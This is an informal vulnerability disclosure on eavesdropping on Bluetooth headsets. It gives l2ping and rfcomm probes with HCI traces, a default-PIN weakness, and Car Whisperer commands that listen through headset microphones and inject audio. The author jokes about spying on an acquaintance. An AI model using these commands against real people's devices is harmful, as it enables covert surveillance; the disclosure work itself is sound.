Hijacking Bluetooth Headsets for Fun and Profit?
Typos et all included at no charge!
enjoy.
Hijacking Bluetooth Headsets for Fun and
Profit?
kf[at]digitalmunition[dot]com
http://www.digitalmunition.com/HijackHeadSet.txt
A few years ago when I worked for SNOSoft my business partner 'Simon' was one
of those guys who rocked out
a Bluetooth Headset just about every time I talked to him on his cell phone. I
loathed both him and those
other guys that you saw walking around mall with that Cardassian ear growth
shit hanging off the side of
their head. I cursed both his headset and those of the other bastards I saw at
the mall and on the roads!
I swore that one day his headset and all of theirs would feel my wrath!
In efforts to satisfy my thirst for Bluetooth I wound up purchasing several
random headsets.
http://www.digitalmunition.com/HeadSets.jpg
00:03:89:AA:5A:AC M2500 by Plantronics
00:07:A4:95:28:E2 Jabra BT110
00:15:0E:91:19:73 Anycom Stereo Headset
00:07:A4:21:ED:27 Jabra BT800
00:07:A4:79:05:3B Motorola HS820
By default none of these devices are discoverable. In order to 'see' each
headset it must be placed into
'pairing mode'.
Even though the device is not discoverable you may manage to discover a headset
via Ollie Whitehouse /
RedFang style techniques or through a barrage of L2CAP echo requests. If you
do, in some cases you may be
able to eavesdrop on or spew propaganda at the owner of the headset.
Various headsets may or may not respond to L2CAP or RFCOMM requests depending
on their current connection
state. Some headsets for example continue to service requests even though they
are currently 'connected'
with a cell phone. This can obviously make them easy to find. Usually an l2ping
to a device that is in
the 'connected' state results in 'Can't connect: Host is down'.
Of the 5 headsets that I own my Anycom headset is the only one that responds
when 'connected'.
animosity:/home/kfinisterre# l2ping 00:15:0E:91:19:73
Ping: 00:15:0E:91:19:73 from 00:11:B1:07:BE:A7 (data size 44) ...
4 bytes from 00:15:0E:91:19:73 id 0 time 42.71ms
4 bytes from 00:15:0E:91:19:73 id 1 time 35.34ms
2 sent, 2 received, 0% loss
When the devices are NOT connected with a cell phone the results change a bit.
Some devices completely
refuse to respond, some respond with PIN Code Requests and others with Link Key
Requests.
The Plantronics headset wanted me to send it a PIN Code...
< HCI Command: Create Connection (0x01|0x0005) plen 13
> HCI Event: Command Status (0x0f) plen 4
> HCI Event: PIN Code Request (0x16) plen 6
< HCI Command: PIN Code Request Negative Reply (0x01|0x000e) plen 6
The Jabra BT110 simply will not respond at all.
animosity:/home/kfinisterre# l2ping 00:07:A4:95:28:E2
Can't connect: Host is down
The Anycom responds exactly as it did before.
animosity:/home/kfinisterre# l2ping 00:15:0E:91:19:73
Ping: 00:15:0E:91:19:73 from 00:11:B1:07:BE:A7 (data size 44) ...
4 bytes from 00:15:0E:91:19:73 id 0 time 41.72ms
4 bytes from 00:15:0E:91:19:73 id 1 time 34.55ms
4 bytes from 00:15:0E:91:19:73 id 2 time 39.32ms
4 bytes from 00:15:0E:91:19:73 id 3 time 43.88ms
4 sent, 4 received, 0% loss
The Jabra BT800 simply refused the connection. Although the connection was
refused. We were still able to
determine that the device existed based on the Invalid exchange response.
animosity:/home/kfinisterre# l2ping 00:07:A4:21:ED:27
Can't connect: Invalid exchange
< HCI Command: Create Connection (0x01|0x0005) plen 13
> HCI Event: Command Status (0x0f) plen 4
> HCI Event: Connect Complete (0x03) plen 11
The Motorola also refused but only AFTER a link key request was made. Again...
we know it exists based on
the Invalid exchange response. Knowing that the device exists could aid in a
future attack.
animosity:/home/kfinisterre# l2ping 00:07:A4:79:05:3B
Can't connect: Invalid exchange
< HCI Command: Create Connection (0x01|0x0005) plen 13
> HCI Event: Command Status (0x0f) plen 4
> HCI Event: Link Key Request (0x17) plen 6
< HCI Command: Link Key Request Negative Reply (0x01|0x000c) plen 6
> HCI Event: Command Complete (0x0e) plen 10
> HCI Event: Connect Complete (0x03) plen 11
Since we got quite a variety of responses to the l2ping test it made sense to
see how rfcomm connections
worked out.
Upon connecting to the Plantronics it sends a PIN code request again.
< HCI Command: Create Connection (0x01|0x0005) plen 13
> HCI Event: Command Status (0x0f) plen 4
> HCI Event: PIN Code Request (0x16) plen 6
< HCI Command: PIN Code Request Negative Reply (0x01|0x000e) plen 6
> HCI Event: Command Complete (0x0e) plen 10
> HCI Event: Connect Complete (0x03) plen 11
The Jabra BT110 as usual simply does not respond.
animosity:/home/kfinisterre# rfcomm connect 1 00:07:A4:95:28:E2 1
Can't connect RFCOMM socket: Host is down
This time the Anycom asks for a PIN code just like the Plantronics did.
< HCI Command: Create Connection (0x01|0x0005) plen 13
> HCI Event: Command Status (0x0f) plen 4
> HCI Event: Connect Complete (0x03) plen 11
< ACL data: handle 42 flags 0x02 dlen 12
L2CAP(s): Connect req: psm 3 scid 0x0040
< HCI Command: Write Link Policy Settings (0x02|0x000d) plen 4
> HCI Event: Command Complete (0x0e) plen 6
> HCI Event: Number of Completed Packets (0x13) plen 5
> HCI Event: Page Scan Repetition Mode Change (0x20) plen 7
> ACL data: handle 42 flags 0x02 dlen 16
L2CAP(s): Connect rsp: dcid 0x0040 scid 0x0040 result 1 status 2
Connection pending - Authorization pending
> HCI Event: Max Slots Change (0x1b) plen 3
> HCI Event: PIN Code Request (0x16) plen 6
< HCI Command: PIN Code Request Negative Reply (0x01|0x000e) plen 6
> HCI Event: Command Complete (0x0e) plen 10
> ACL data: handle 42 flags 0x02 dlen 16
L2CAP(s): Connect rsp: dcid 0x0000 scid 0x0040 result 3 status 0
Connection refused - security block
> HCI Event: Disconn Complete (0x05) plen 4
The Jabra BT800 refuses the connection.
Can't connect RFCOMM socket: Invalid exchange
< HCI Command: Create Connection (0x01|0x0005) plen 13
> HCI Event: Command Status (0x0f) plen 4
> HCI Event: Connect Complete (0x03) plen 11
The motorola also refuses again after a link key request.
Can't connect RFCOMM socket: Invalid exchange
< HCI Command: Create Connection (0x01|0x0005) plen 13
> HCI Event: Command Status (0x0f) plen 4
> HCI Event: Link Key Request (0x17) plen 6
< HCI Command: Link Key Request Negative Reply (0x01|0x000c) plen 6
> HCI Event: Command Complete (0x0e) plen 10
> HCI Event: Connect Complete (0x03) plen 11
Obviously one interesting discovery was that 2 of the above headsets attempted
to obtain a PIN code from us even
though they were not in pairing mode. Every single headset I own has a default
PIN code of 0000. Because these
devices are prompting to input a well known default PIN number and they are not
in pairing mode the owners of
these devices are put are risk of being eavesdropped upon.
Both devices that asked us for a PIN code are vulnerable to a remote monitoring
attack using the Trifinite Car
Whisperer http://trifinite.org/trifinite_downloads.html. Quite a few devices
support multiple pairings so the
owner of the phone may not have any indication that an attack is occuring.
Using Car Whisperer allows us to both monitor the microphone of the headsets in
question and to inject audio into
the ear piece.
animosity:/home/kfinisterre/carwhisperer-0.1# ./carwhisperer 0 eargasm.raw
/tmp/out.raw 00:03:89:AA:5A:AC
Voice setting: 0x0060
RFCOMM channel connected
SCO audio channel connected (handle 45, mtu 64)
(inject propaganda and then read from the mic)
In the case of the Anycom BSH-100 we are even able to terminate an existing
connection with a cell phone before
we attack! Simply run Car Whisperer twice! The first connection will kill the
link to the cell phone.
kfinisterre@animosity:~/carwhisperer-0.1$ ./carwhisperer 0 eargasm.raw
/tmp/out.raw 00:15:0E:91:19:73
Voice setting: 0x0060
RFCOMM channel connected
SCO audio channel connected (handle 45, mtu 64)
(let em know I'm Rick James and then read from the mic)
The issues I have outlined in this document occur because of poor
implementation of the Bluetooth Head Set Profile.
Unless a headset has specifically been placed into 'pairing mode' it should NOT
request a PIN Code upon connection
from a previously un-paired foreign device!
Both Plantronics and Anycom were notified about the above issues however
neither company really made an effort to
communicate any plans to address the problems. Due to the fact that other
vendors may be affected I have decided
to release this information.
So Simon I have to ask you do you still have that headset? If so keep the
batteries fresh for me... I'm creeping on it!
http://www.digitalmunition.com/creepin.jpg
-KF